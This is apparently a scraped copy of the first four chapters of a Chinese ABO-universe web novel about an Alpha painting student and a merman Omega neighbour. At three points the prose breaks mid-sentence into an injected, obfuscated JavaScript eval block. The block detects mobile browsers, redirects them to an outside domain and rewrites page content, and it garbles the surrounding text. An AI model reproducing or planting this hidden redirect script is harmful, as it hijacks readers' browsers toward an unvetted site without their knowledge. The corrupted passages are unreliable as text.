《被人鱼骗婚后[GB]》 1. 第 1 章 三月,毕业季筹备中,海珍市海洋艺术大学催促的邮件一封又一封,季晩终于坐上回学校的高铁。 上次来的时候还是秋天,她更喜欢那时候的天气,干爽寒冷,路上人也少。 手机振动,是她刚发的消息回信。 [下高铁了没,抑制剂快到了,你明天有空记得来拿] 湿润的空气粘在发尾,约好拿药的时间,季晩又看了下网约车的位置,还有一公里不到。 手机振动,那头接着问她: [你这次待几个月,是毕业了直接就走吗,还有,这年头符合你体质的3S的抑制剂越来越难找,大部分你都已经用到抗药性了,你就不能直接找个对象一劳永逸?月云说可以给你介绍合适的omaga,Beta也行啊] [暂定待三个月。不用。] [啧,行吧,记得把冰柜通电,你那破样板房,一年用一次别给抑制剂放得失活了] [知道] 等季晩回完消息,天空突然开始簌簌下雨,她抬头望向高铁站外浅灰色的天空,觉得胃口也开始变得不好。 但空气中的水分阻隔了信息素,又让季晩有种没那么难受的错觉,手环的屏蔽等级已经开到最高,就等明天得补充抑制剂了。 突然,她皱眉,敏锐地侧头看了眼。 一个戴着口罩的身影,不知何时靠了过来。 季晩很快扫到了对方手腕上比寻常人多一个白色特殊手环,在靠近她之后,手环在微微闪烁着白光提示,标志着他非人类的身份。 这是个受保护的海洋属性Omega。 “那个,你好,我刚刚在车上就注意到你了,不知道有没有机会认识一下……” 季晩举起手机屏幕。 “不好意思,我叫的车马上到了。” Omega一听这话,赶紧忐忑地掏出手机:“那能不能留个联系方式?” 季晩沉默摇头,她指着站台前刚停下的打着双闪的SUV,脸上几乎面无表情:“抱歉。” 可这人似乎还不愿意放弃,意识到季晩之前看了眼他的手腕,于是有些着急地展示着手腕上那个亮白光的手环,又追了季晩两步路:“你放心,我是安全级别的海洋生物,我们真的不能认识一下吗,我感觉我们的信息素契合度很高的!” 空气中,一股很淡的甜香开始弥漫,这个海洋物种居然在主动引诱Alpha。 季晩毫不留恋直接上车,并让司机赶紧开车离开。 前排的司机目光追着窗外,像是看了场八卦,打转方向盘感慨:“居然是海洋幻想种主动搭讪,小姑娘你的信息素等级很高啊。” 海洋幻想种,哪怕在临海的城市也是珍惜物种。 网约车大都是Beta司机,闻不到季晩身上由于易感期微微外泄的那一丝信息素,也没注意到她难看的表情。 这颗星球,ABO三性分化后,人类当前的分化比例,大致上Beta占80%,Alpha和Omega各10%。 而海洋幻想种,在这其中,仅占据这个星球上人形智慧生物的10%,人群中分化的Omega数量比人类还要稀少十倍不止,而由于特殊体质,他们在陆地上,比人类信息素检测仪还要敏锐。 海洋种想要长期留在陆地,免不了需要一直保持人形,而信息素交流,就是最直接的维持方法。 有一种说法,高等级的人类Alpha,就像是海洋物种的陆地绿卡,人形补药。 季晩就是里面的翘楚,她从小出生在海珍市,对自己的体质有着深刻的认识。 海珍市有着全球排名前十的几所艺体大学,而海洋种们大多数在艺术和体育方面有极大的天赋,所以季晩成年后就不太喜欢回来了。 “师傅,麻烦把空气循环开高一点。” 季晩解开风衣领子,让循环空气带走身上陌生人的那一丁点信息素。 司机师傅大概看出来她对那个Omega没兴趣,转而话唠提起来其他话题。 “小姑娘是有对象了?要是没有的话也可以考虑考虑海洋居民嘛,我家里一个亲戚就是和海豚属的Beta爱人结婚了,婚后自由去海洋蜜月期可快活了,下水都不用潜水器。” 幻想种与人类互相标记后,海洋生物自由上岸,人类当然也能自由下水。 季晩讨厌水。 她有些疲惫地按了一下太阳穴,在手机上把网约车的目的地改成了医院:“师傅我有点累,麻烦先开去医院。” 大概是她脸色确实难看,师傅尴尬地哦了几声,接下来一句话也不多说飞速开去了新的目的地。 到医院的时候,一个穿白大褂的家伙已经在门口等着了,见季晩没想象中的虚弱,这才开了句玩笑: “吓死我了,还以为你到海市的第一天就得进急诊。” 季晩边走边接过对方给的辅助药剂吞下:“信息素水平波动变大了,加上有点晕车。” 红色短发的Beta医生,已经联系了护士拿来季晩的专属药剂,但却没直接给她来上一针,而是先再三确认: “你上次注射加强型抑制剂确认已经过了一个月以上吧,标准天数是多少?” “到今天凌晨,刚好30天。” “啧,勉强行。” 医生给她的腺体消毒。 肿胀的刺痛感过后,冰凉的注射液很快驱散了季晩头昏脑胀的烦闷感,她呼出一口气,感觉胃也终于没那么难受了。 江炽有些不忍,还是提醒她:“一般来说,你注射的这种特需型针剂有效期是35天,最少间隔31天才能注射下一次,过了明天再来反而更好,越早注射你身体负担越大,而且效果会越来越差。” 本来已经约好明天拿药,结果转头就来了医院,江炽几乎瞬间就能推测出,季晩可能是一下高铁就碰见了会让自己信息素紊乱的特殊Omega,比如海洋种。 寻常人一辈子也擦肩而过不了几个顶级海洋Omega,季晩和身上装了磁铁似的,每次来海市都能碰见好多个。 “知道,这次的药有几支?” “托同学帮忙,给你定了六支。” “谢了。” “可是季晩,类似的话我已经说过很多次了,你可以远离海珍市,甚至类似的一切海滨城市,但你不能一辈子靠抑制剂撑过去……” 光是逃避没有用。 抑制剂补充后,面色明显缓和的季晩,睁开眼睛打断她:“隔壁缪兰国的最新医疗成果,腺体摘除手术已经通过前期生物实验,过两年就会开放志愿手术。” 专业与Alpha腺体相关的江炽,也看过那篇论文,顿时表情复杂起来: “腺体摘除手术目前还不成熟,对寿命可能造成的影响却是公认的,季晩,你可以再等等,别对自己那么狠。” 季晩不明白自己还能等什么,等奇迹发生让她的病痊愈,还是等她也用标记的方法来治病,来祸害另外一个Omega当自己的治疗血包。 那会让她觉得自己很恶心。 “毕业展还有很多要忙的,等有空请你和月云吃饭。” 江炽也知道自己劝不动她,只得耸耸肩: “那我可得让他挑个贵点的店,行,针也打过了,明天叫个医疗特送,帮你把剩下的抑制剂送过去,你在这休息十分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手指划到了一个鱼鱼大哭的表情包,虞秋最后还是没发出去,不想让爷爷担心。 他有些难过的想,怎么办,季晩已经讨厌海洋Omega到打算割腺体的程度了,他要怎么达成自己的愿望呢。 偏偏他的心理诊疗证明上,皮肤饥渴症依旧没有痊愈。 他是一只爱撒娇的鱼,他靠近季晩,就会抑制不住想贴上去,那样季晩只会更难受更讨厌他吧。 就像讨厌其他人一样。 虞秋揉乱自己的头发,看了眼自己下单的新玩偶,终于,他轻轻拉开安全通道的门,绿色的眸子,就这么光明正大地注视着急诊室门外的走廊里,那个靠在椅背上闭眼休息的身影。 虞秋心想,上次见到季晩是什么时候,久到他记不清了。 她看上去好累。 季晩生了什么病,想割腺体是心理因素还是身体原因?虞秋发现自己现在对她好像一无所知。 绿眼睛的金发人鱼,远远地看了好一会儿闭目休息的人类才终于舍得走,他选择绕开走廊,从更远的后门安静离开医院。 几分钟后,闹钟震动,季晩突然睁开眼睛,她有些困,意识却很清醒,和每晚失眠的时候很像,累,但睡不着。 可是莫名的,冰冷肃静的医院走廊,她总觉得自己刚刚好像闻到了一股淡淡的,阳光晒过的味道,明明刚打过抑制剂,加上医院的消毒水,她应该闻不见任何信息素才对。 难得有点困了,她撑着眼皮想,自己应该早点回家睡一觉,最好是能窝进刚换的,晒过太阳的被子里。 2. 第 2 章 虽然没有盖到刚晒过太阳的被子,但季晩昨天从医院回来居然真的睡了个好觉,看来新的抑制剂和安眠药都挺不错的。 今天没有下雨,她的房子很空,简单打扫过就能住,还差一点生活用品,可以去附近的超市看看。 这一片离大学城很近,季晩不可避免在超市会碰见几个海艺大的学生,好在昨天补过抑制剂,手环开到最高档位的情况下,她的一丝信息素都不会泄露出去。 不远处的货架附近,大概是一个社团的学长学姐在带着后辈购买物资,有人还在核对清单。 “这些买完应该就差不多了,诶你们几个,刚刚就扎堆一块研究什么呢?” “学姐,好奇怪啊,为什么海艺大这次毕业展怎么提前这么久预约票就抢空了,我本来准备带我妹妹她们去看的,还分时段放票,怎么弄得和演唱会一样?” 旁边手里攥着罐啤酒的Beta学长立刻道:“哎呀这你就不知道了吧,这次有个咱们学校的名人要毕业了,据说她高中时候的一幅作品就可以拍卖到七八位数!有她在的毕业展,热度当然高啊。” “诶,你们说的是油画系的季晩学姐吗?我知道我知道,我以前看过她的主题展览,巨震撼,那时候她好像才十三四岁吧,不过她成年好像没怎么画过类似的海洋主题了。” “嗯,我们教授也说过,她以前的作品更有灵气,但这几年好像没什么出名的新作,还挺多人说她是江郎才尽伤仲永……” “不至于吧……” “咳咳,你们少说几句,这里离学校这么近,碰到学姐本人或者她的熟人怎么办?” “嘶,她好像这几年都不怎么来学校了,应该不会这么巧吧……” 正在旁边冷柜拿牛排的季晩本人,不动声色地把口罩拉好。 几个家伙多少有些心虚地环顾四周一圈,最终视线停留在了季晩这边,只不过并不像是认出了她,而是一个个压低嗓音情绪激动道:“哇靠,好靓的女A,是女A没错吧?” 女Alpha的就和男Omega一样,在本就不多的AO里也算是很少见的那一类,季晩用的抑制手环是世面常见的Alpha专用款。 她今天穿了一身长款卡其色风衣,内搭灰色高领打底,墨色长发随意披散在脑后,口罩也是黑色的,只露出一双锐利冷淡的眼睛,整个人显得十分不近人情。 但只要看过一眼,视线就无法移开了似的。 “wowowo这身材比例,要是在学校遇见,隔壁服设缺模特的那群人得发疯!” 几个学生远远欣赏着季晩的身影走远,全然不知道她就是上一个话题的主人公。 结账的时候,季晩居然又碰见了她们,话题已经换成了海珍市人人皆知的幻想种相关: “还是海珍市好啊,什么少见的性别和物种这边都有,我和你们说,咱们雕塑系有一个新生居然还是人鱼,超级帅的一个甜心弟弟,身材比例堪称逆天,刚进学校那张脸就在论坛上出名了。” “就上次搬展牌力气特别大的那个小帅哥吗,他居然是人鱼?” “你知道的嘛,她们幻想种上岸后都必须强制佩戴识别手环来着,听说他好像是个Omega人鱼,只有一年的研习签证,还不知道下学期能不能见到。” “那他的手环等级是什么颜色的?” 和日常使用抑制手环的人类不同,海洋幻想种保护协会,与ABO人类联合会,针对幻想种专门定制了无法摘取的单人特用检测手环,全面检测信息素水平的同时,更是把上岸化形的海洋物种,按照危险等级进行分类。 根据上岸后的危险程度,海洋幻想种被划分为红,绿,白三个颜色,分别对应危险,治愈,无害三个类别。 “没见过他的手环亮灯诶,但据说——可能是红色!” “什么,虞秋学弟看着人畜无害的,居然危险类别的海洋种?” 红色代表个体极其危险,绿色代表具备治愈属性,白色无属性,一旦信息素水平不稳定,手环会开始闪烁亮灯,尤其是红色标记对象,一旦灯光常亮,附近的巡逻队会立刻武装前往。 海洋种,哪怕是特殊时期脆弱的Omega,也能在激素不稳定的情况下,即亮光时,轻易压制人类Alpha,甚至反过来强行夺取标记,更不用说海洋种里的Alpha,上岸后几乎人人都被监视。 手环的红色闪光,也是在提醒附近的人类远离危险,这是幻想种上岸必须的检测手段。 这些信息大多数本地居民,包括季晩在内都无比清楚,而她每年在海珍市都会遇见几次亮灯的紧急情况。 海珍市这种海洋幻想种数量较多的城市,每年的幻想种袭击人类案例远高于内陆,大部分时候,保护协会都能赶上。 Omega并不代表了娇弱,Alpha也不一定是加害者,赶不上的话,倒霉的说不定是哪个性别。 季晩也是因此养成了观察别人手环的习惯。 她结完账,离开柜台的时候刚好接了一通电话,是医疗特送快递。 “您好,季晩女士,请问您在家吗,是否方便签收特殊快递?” 季晩看了下地图软件的实时路况,十分钟能到家。 “可以签收。” “好的,请您确认家中的医疗冰柜是可使用状态,我们半小时内会到达您的小区。” 结果季晩回去的时候,半路遇见前方车祸堵路,花了比想象中多一点的时间才到家,还好特送暂时没到。 她住的这个小区寸土寸金,有着与昂贵物业费匹配的安保,这种需要当面签收的快递,得由物业管家带人刷卡上去,或者业主来前台拿。 她刷卡进大厅的时候,隐约看见大厅那头,已经有一个穿着世界树绿色外套的医疗快递员在和人交谈了。 季晩本以为是自己的快递,有些奇怪为什么没有给自己打电话,她看了眼屏幕,还没到约定的时间,但也差不了几分钟了。 她抱着超市的纸袋又往前走了几步,绕过大厅的隔断大理石,看见了和快递员交谈的人。 那是一个穿着豆绿色卫衣的高个男孩,卫衣帽子遮住脸,只能看见几搓耳边的金发,看着很小,但是个头高了Beta快递员一大截。 他说话的语调很轻快,带着奇怪的韵律,有些歉意地抓了抓额前的金发和对方解释:“不好意思,刚刚找电梯卡找了一会儿。” 快递员拿出一个连接快递箱的小黑盒,等待进行指纹识别:“是我们这边需要抱歉,物业管家正在其他户忙,麻烦您亲自下楼了,您这边再签个字就可以。” 等安全验证结束,快递员从脚边巨大的,带滚轮的保温箱里面拿出一个密封的盒子,双手交给客户:“请尽快放进冷柜保存,小心存放。” 季晩也是这时候才确定,这个快递员是同时送了他们两家。 穿卫衣的高个男孩可能第一次见这么客气的快递服务,在对方表示由于给客户带来麻烦,系统后台会赠送一张运费五折券后,男孩立刻嘴很甜地说了一句谢谢哥。 他笑起来的时候,还露出一颗不明显的小虎牙,显出一种和大高个截然不同的反差感。 季晩也终于在他转身的时候,看见了他的部分侧脸,出于职业本能,她多打量了一会儿。 几乎能放进教科书里的优越骨相和皮囊,这是在绘画三视图里会得很高分的一张脸。 从头发丝到说话的调调,这都是很讨人喜欢的那一类家伙,浑身暖色调,季晩甚至有种自己闻到阳光味道的错觉。 然而那双碧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318262|183121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿玻璃般的眼睛,在和她视线相对的瞬间,却像是炸毛一样立刻避开。 甚至不出三秒,他就极其克制但非常明显地窜到了电梯边上,猛地一戳按下了电梯上行键。 可能也是觉得自己反应过度,男孩很快又挺直腰背,僵直地走进电梯。 季晩注意到他还把卫衣帽子的拉绳用力一扯,几乎只露出了鼻子,像个淡绿色的布丁,直到电梯门关闭,他都一直保持对着电梯按键界面面壁的姿势,完全没有动一下。 季晩对别人的视线向来敏感,她皱眉看着这人的反应,要不是听见过他和快递员的交流,她还以为这是个怕见生的小孩。 也可能是人多了就社恐? 心里有种微妙的感觉,季晩暂时没抓住。 正好大厅的快递员打了电话,见刚好是季晩接起来,立刻迎上前来问季晩用不用送货上楼,季晩选择自己带上去,快递员这才开始重复之前的那一套流程。 签收的速度很快,季晩走进电梯之前,突然直觉般抬头看了一眼。 她们这栋是两梯两户的挑空大平层,住户很少,此时电梯停在七层,而另外一架电梯正在检修,贴了条。 七层是季晩家的楼层。 季晩进电梯刷卡,感觉自己又闻到了那股被子晒过太阳的味道,她忍不住抬起手环看了一眼。 【内部信息素监测中,您当前的信息素指数为0.5,状态安全】 【外部环境信息素指数0.8,环境安全】 没超过6点,就代表周围没有溢散的信息素,季晩心想,她应该是太久没晒太阳,才有了奇怪的错觉。 等出电梯,再次开门的时候,她脚步顿了一下,看了眼对面的大门。 她的这套房子,是小时候用第一次画展拍卖会的收入买的,没记错的话,对面这户,是妈妈的熟人买下的。 小时候的记忆碎得不行,她想了一会儿没什么头绪,很快将刚才的偶遇抛在脑后,带着自己的抑制剂盒子,关上了门。 此时,隔壁早回家一步的人鱼正在后悔中。 虞秋双手拽住自己连帽卫衣的拉绳,像个豆绿色的火腿肠在客厅地毯上滚来滚去,嘴里呜呜咽咽的自省:“我是傻子啊啊啊动作那么明显都被看出来了啊啊啊——” 和季晩视线对上的时候,他心脏简直漏了一拍。 这和医院那次不一样,这是活生生站在面前,注视自己的季晩。 只不过,那是看陌生人的视线。 于是他很快又蔫了下来。 脑袋逐渐降温的金发人鱼悄悄叹气,在缺氧之前终于让自己的脑袋从卫衣帽子里无罪释放,然后慢吞吞的,扁着嘴去拿抑制剂盒子。 “早知道就不住这里了,这哪里是创造机会,这是明明是折磨我。” 他塞了一个水母娃娃在怀里,一边把脸埋进去蹭来蹭去,一边环视一圈自己凌乱美的房子,嘟嘟囔囔:“也不知道转移注意的安抚娃娃够不够。” 一墙之隔,同样的位置,色调和环境都不同的两人面前,是同样款式的药品冷冻柜。 两间房子从布局到装修截然不同,如果说季晩那边空旷得如同没有装修过的白色清水房,那虞秋的房子,就像打翻的调色盘,堆满了各种颜色鲜艳,造型奇特又古灵精怪的软装,而且房子随处可见的各种体型的软乎乎的娃娃。 虞秋用随手捡起的娃娃蹭了蹭脸,这才缓过来似的,爬起来收拾快递。 而季晩刚到家,把纸袋放在岛台,准备先处理抑制剂。 此时,错开几分钟的两人,却巧合的,正在同时将特殊的注射剂一个个放进冰柜,带着不同的心境,不同的表情,想的却都是—— ‘希望这些东西能管用,没有任何意外的撑过这几个月。’ 3. 第 3 章 季晩昨天睡得不太好,刚从医院回来的那天应该是个意外,抑制剂换掉之后,看来安眠药也得换一下。 因此,在接到扰人清梦的电话时,她低气压的语气把对面吓了一跳。 “……学、学姐对不起,真不是故意打扰你睡觉的,李院长说展览教室有变动,你最好自己过来挪动作品找新的教室。” 李院长的原话显然更不客气,痛斥季晩天天被人阴阳怪气也不知道拿点作品反驳一下那些嘴碎的庸才,又不是真的画不出来,以及季晩如果想毕业就滚回去收拾自己的画,不然干脆别要毕业证了。 季晩口头应下,无奈躺了一会儿,本就睡眠质量不佳,现在更别说睡回去。 勉强泡了杯速溶咖啡配几块早餐饼干,她戴上鸭舌帽和口罩,加上没睡好的眼神,整个就像是一团移动的低气压乌云。 以至于在楼道按下电梯,看见秒开的电梯,又对上电梯里讶异失措的眼神时,季晩的脑子都没醒过来。 这是谁来着? 她把口罩拉到下巴位置,抿了一口便携杯里面的咖啡,才终于想起来。 哦对,这是那个见她如洪水猛兽的邻居。 邻居今天的一身亮眼的宝蓝色针织衫,衬得皮肤愈发白,金色的短发被塞进毛线帽里,绿眼睛藏在黑色的框架眼镜后面,看着没那么邻家了,反倒更像个年轻又潮流的爱豆。 相比之下,季晩今天却包得严严实实的,灰色的工装下脚踩一双皮质马丁靴,极佳的比例套麻袋都好看,加上帽子和口罩,和蔫蔫的眼神,像个随时能杀埋一体化的走秀暴徒。 两人仅仅对视一秒,季晩前进一步,邻居退无可退地紧贴电梯墙壁。 季晩觉得有点好笑,起床气不自觉散了点。 殊不知某条人鱼的脑子里已经尖叫了三个循环,并不断的提醒自己不要靠近,不要靠近,季晩会讨厌的。 电梯面板上已经按下了数字“1”,季晩走过去又按了一下-2。 季晩能感觉到,自己靠近的时候,邻居和昨天一样,又是整个人都紧绷了起来。 她看着有这么可怕? 回想到昨天的医疗快送,既然需要抑制剂,那么邻居不是Omega就是Alpha。 还好这里是两个文明人。 文明人从来不会乱放信息素,电梯里只侵略性地充斥着速溶咖啡的甜香,虞秋简直被甜的脑袋有些发晕。 1楼终于到了,宝蓝色的金发机器人,几乎是卡着机械步似的地走了出去。 季晩饶有兴致盯着他的后背,心想,这次好歹没有直接跳出去了。 咖啡喝完,从-2楼的停车场把车刚开出去一分钟不到,季晩又接到了新的来电:“季晩,你出发了没有?” 听这大烟嗓,就知道是她许久没见的李院长,她多年的老师。 “快了。” “今天不催你是不是都不打算来学校!你要不算算大学四年你到底来过学校多少天,毕业证不想要了你还来参加什么毕业展!” 季晩懒洋洋地回:“我这不是来了。” “去外地待了大半年一个产出都没有,再不回学校你那破画都画不完了!” 或许是觉得自己语气太冲,李院长又压了压嗓子:“还有,今年院方和海洋幻想保护协会合作,联合庆祝协会50周年,所以今年的主题展多少会办的有点大,而且各个作品都得带一点相关元素,这件事你已经知道了吧?” 季晩嗯了声:“我收到邮件了。” 李曲沅像是别扭了半天,才开口:“学校知道你的特殊情况,如果有这方面的需求,你可继续你之前的主题,或者用以前的作品代替,媒体那边……” “院长,”季晩的语气终于正经了一点,“我现在只是画得少,不是不画了。” 电话那头沉默了一会儿,就又听见季晩说:“产出太少可能是没睡够的原因,要是以后能下午再给我打电话,我想我复健的速度可能会快一点。” 李曲沅顿时没好气地挂了电话:“赶紧滚来学校!” 等季晩顺着学妹发的地址直接开到了艺术楼,就看见搬运的卡车已经在排排列队,看着工程量还挺大。 季晩也是来了才知道,这次新的画室据说是协会赞助的,在校方新建成的艺术馆附近,装修下了血本,室内湿度温度按需调节,她唯一要做的就是看好自己的画,别在转移中途弄坏了。 毕业展的作品通常都是提前很久准备,季晩的这幅还是半成品,但运用了大量石膏,尺寸也是这一批毕业生作品里面最大的,人力几乎无法移动,最后用了不少器械辅助。 隔壁搞装置艺术的那群人搬运作品的时候更是小心翼翼,简直和日式搬家一样,生怕弄乱原本搭好的骨架。 大概到了中午,这批画才转移完,李院长安排的小学妹还特地问季晩要不要去吃饭,季晩估摸李院长要来,就同意了。 本来还有其他同学也想来和季晩打招呼,虽然经常不在学校,但是季晩的知名度,从入校那天开始就居高不下。 但一听是去育园楼,就知道联络感情的愿望今天实现不了了。 育园楼在七食堂顶楼,包厢全部需要提前预约,通常是接待学校客人用的。 今天吃饭的大部分都是熟面孔,除了李院长,还有几位她见过的协会相关的领导,以及几个比较出名的画廊负责人。 季晩知道这是自家老师好心给她准备的一顿饭,还算规矩的吃完。 合作敲没敲定,还得以后再说,这饭确实没让她吃饱,季晩想起食堂一楼有一家卖四果汤的还挺好喝,准备下楼去买,学妹也不太喜欢这一类聚餐,大概也没怎么吃好,于是蹦蹦跳跳的打算和她一块去。 季晩前面直接去的顶楼没仔细看,现在来到一楼才发现,这里似乎翻修过,很多店门口都挂了特殊的Q版小鱼标志。 学妹解释到:“那个标志的意思是,会提供海洋幻想种所需要的特殊食物。他们肠胃和咱们不太一样,有很多香料都吃不了,而且对鱼类的新鲜度要求也很高。 其实这样也还好啦,口味淡一点的学生也挺爱来吃的,但以前食堂商户百花齐放的时候,什么口味的菜系都能吃到,现在全变成一个味道了。” “学姐你好久没来学校,你是不知道,现在好多人都说七食堂快变成海洋幻想种专用了。” 说完她叹了一下气,又反应过来,赶紧捂着嘴四处观望。 季晩很快点好了一个四果汤套餐,见状有些奇怪:“你东张西望些什么呢?” 这个学妹从大一开始就跟着李院长了,算是她直属的师妹加学妹,是学校里季晩关系最好的几人之一。 师妹想了想季晩曾经遇到过的某些事,这才半是提醒,半是感慨地凑近低声和她说: “主要是这几年咱们学校上岸的海洋幻想种越来越多了,政策方面慢慢有些跟不上,资源矛盾还多,最近他们弄出了一个信息素自由的游行,学姐,你要是万一碰上一定要避开那群家伙。” 她偏着脸说到一半,望向食堂巨大的落地玻璃窗,突然就瞪大了眼睛:“我这该死的乌鸦嘴……” 季晩顺着她的视线,看到了外面一群穿着蓝白T恤正举着牌子前进的队伍。 远远的还能听到模糊的口号。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318263|183121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“请给幻想种们更多的信息素自由!扩大志愿者捐献范围!” “我们需要更多停留在陆地的时间,我们需要更多完成梦想的机会!” “请开放3s级Alpha和Omega保护名单!我们需要更多的恋爱自由!” 如果说前面几个牌子,多少还有一点道理,最后那一条标语简直是令人发笑了。 学妹脸上直冒汗:“应该是有人知道了今天会有协会的人来七食堂吃饭,所以这个时间点游行队伍才走过来。” 她一边打电话和院长那边汇报,一边小心的观察季晩的脸色。 学校里有极少部分人知道,季晩就是受到信息保护的,数量极少的3s级Alpha之一。 幻想种们想要长时间居住在陆地上,保持人形,其实最有效的方法就是找一个等级与自己持平,甚至高于自己的家伙,恋爱标记,信息素交互。 甚至有说法,终身标记成结之后,可以数十年维持人形状态。 哪怕没有标记,光是血液和腺体中提取的高等级信息素也够维持好几个月。 当初海洋幻想种保护协会,与陆地ABO联合会为了维持双方的平衡,开放了志愿者系统,学校定期会有人捐献AO信息素,给有求学和工作需求的幻想种来使用。 但这么多年来,由于高等级AO人群数量依旧太少,所以供不应求,而随着近些年上岸的幻想种越来越多,双方之间供求不平衡已经导致屡屡出现海洋种袭击陆地人类的案件。 学校里的学生游行已经算比较温和的,只是某些口号在那些高等级AO看来,简直就是在要求她们直接在公共平台公布自己的讯息,让人像货物一样挑选匹配对象。 这到底算哪门子的恋爱自由? 季晩没什么表情的透过半透明的玻璃,审视着那前进的游行人群,她本想挪开视线,却突然发现游行队伍突然出现骚动,里面走出来几个人开始拉扯路过的学生。 而被纠缠的那个人,她有点熟悉。 宝蓝色的针织衫被扯住,袖子微微拉得有些变形,金发之下的绿瞳里甚至写满了一丝无措和愤怒,似乎还在争辩着什么。 季晩反应过来了,这个好像是自己的邻居。 她皱眉:“游行喊口号就行了,为什么要去碰其他同学?” 学妹也注意到了那边的动静,很快猜到了前因后果: “那个应该也是幻想种,大概是不愿意参加游行,被他们强行拉进去了,之前也发生过类似的事,我已经喊了学校的巡逻组,信息素护卫队的人应该快来了。” 季晩的信息素等级在校内小部分人眼里不是秘密,季晩的好学妹现在几乎是满头大汗的想要拉走她,生怕学姐和这支游行队伍撞上。 这不就是唐僧肉碰到了一群小妖怪吗,而且这唐僧还是个武僧!别人不知道她家学姐的能力,她以前可是见识过季晩被骚扰烦了搞出来的大场面。 季晩最后看了那个方向几秒,很快就去食堂旁边的停车场打算取车,学妹悬着一颗心还没放下,就见季晩一打方向盘,往那条大路开过去了。 “学姐你干什么?护卫队马上就来了,咱们先撤呀!” 季晩看着自己的邻居身上的那件针织衫都快被扯变形了,心情有些怪。 她和这邻居就见过两次,每次对方见到自己就躲,大概率是个缺乏安全感胆子还很小的Omega,而且没记错的话,邻居家的房子应该是妈妈的朋友当年买的,虽然两人以前可能没见过,但也算是有点渊源吧。 她保持安全车速,缓缓贴近游行人群。 “去乐于助人,帮助一下同学。” 4. 第 4 章 某条人鱼现在的心情非常不好,这已经是他第二次被游行队伍缠上。 当初刚开学,校内的幻想联合会就曾邀请过他加入,结果虞秋被各种过激的口号劝退了。 可退了联合会也没用,他的外形和种族都太扎眼,被纠缠过好多次去当发言人,给所谓的同胞们争取更多的信息素自由。 可这种自由不是虞秋认可的自由。 “虞秋同学,你身为高等级的海洋幻想种,为什么不加入我们的游行队伍,作为最终受益人之一,你难道就不该为我们出一份力!” 谁是你们那个自私计划的受益人啊! “我已经说了很多次,我只交换一年就会回去!” 虞秋控制再控制自己的语气,努力拯救自己的蓝色毛衣: “低等级信息素不够就要求开放其他人的隐私信息,不管是A还是O,这样强迫其他人供给信息素和强盗上岸有什么区别!” “你怎么能这么说自己的同胞!” “——以你的条件找合适的对象当然不难,那其他同类呢!” 这次出手拉住他的家伙,血统是以力量著称的锤头鲨,用力太大,让虞秋原本就带点破洞设计的毛衣,即将变成更加艺术的设计品。 虞秋简直气得发抖,他的衣服,衣服! 他原本相安无事的手环,一个浅淡的红色光点即将浮现:“我真的受不了——” 他一把甩开其他的人的手,想着要不别忍了,反正他精神状态也不好,多揍几个讨厌的鱼头可能比去医院做心理咨询还有用,结果他大力出奇迹刚推开包围自己的家伙,就听见一个陌生的声音在后方响起。 “虞秋学弟别动手!巡逻组的人马上来了,快上车!” 虞秋只一眼就认出来了,后座开窗的这个是油画系的一个学姐。 他犹豫了一下,看了眼难缠的游行队伍,又低头看了眼自己的手环。 打一架固然很爽,但手环亮了红灯就得去协会喝几天的茶,为这群家伙,不值得。 季晩才刚回学校,他不想在其他地方浪费时间,打架只需要几分钟就能放倒这批人,可他要思考的其他事就很多了,如何精妙的制造和季晩的偶遇,如何不被讨厌的尽量拉近和季晩的关系,如何不暴露自己的本性…… 算了,今天先放过他们,除了学业,他还有很多事要处理。 虞秋果断地再次用力推开纠缠自己的阻碍,还不用痕迹的踩了几脚他们的大拇指,鱼尾巴攻击起来有多痛他是知道的。 尤其里面有几个个头壮得跟海牛似的,多米诺一样倒下后还在气愤地叫他的名字,似乎很是不解虞秋哪来的这力气。 然而金发小鱼跑得飞快,如同一滴水直接滑进旁边那辆已经拉开车门等他的灰色SUV。 人车合一配合默契,门刚关上,直接提速,在游行队伍反应过来前,他们已经开出去了一大截。 虞秋靠在后座,这才终于舒出一口气。 他扭着脑袋往往后面看了几眼,确认没有人胆大包天到追车之后,这才开始一边甜甜的说谢谢,一边打理自己。 直到每一根金发都打打理的服服贴贴了,这才侧过头去和学姐打招呼:“帮大忙了,谢谢唐钰学姐,再待一会儿我身上衣服都要成抹布了。” 他是个爱漂亮的鱼,知道自己现在大概是个什么形象,首当其冲得拯救一下已经被扯变形快变成废土慵懒风的针织衫。 “不好意思啊,刚好让你们看到了这一面,其实大家平常还是挺文明的。” “今天多谢搭救了,不然要是打起来我手环亮了灯,估计得关一个星期的禁闭。” 协会对于幻想种违规行为的管理还是挺严格的,不光是为了保护他们,也是为了保护岸上的人类。 虞秋说话的时候喜欢盯着人,那双绿眼睛饱含真挚情绪,盯着人看的时候简直和作弊没什么区别。 而且那几句谢谢说得异常诚恳,主要是他知道唐钰是谁——季晩同门的师妹,之前就在其他的校内活动上认识了。 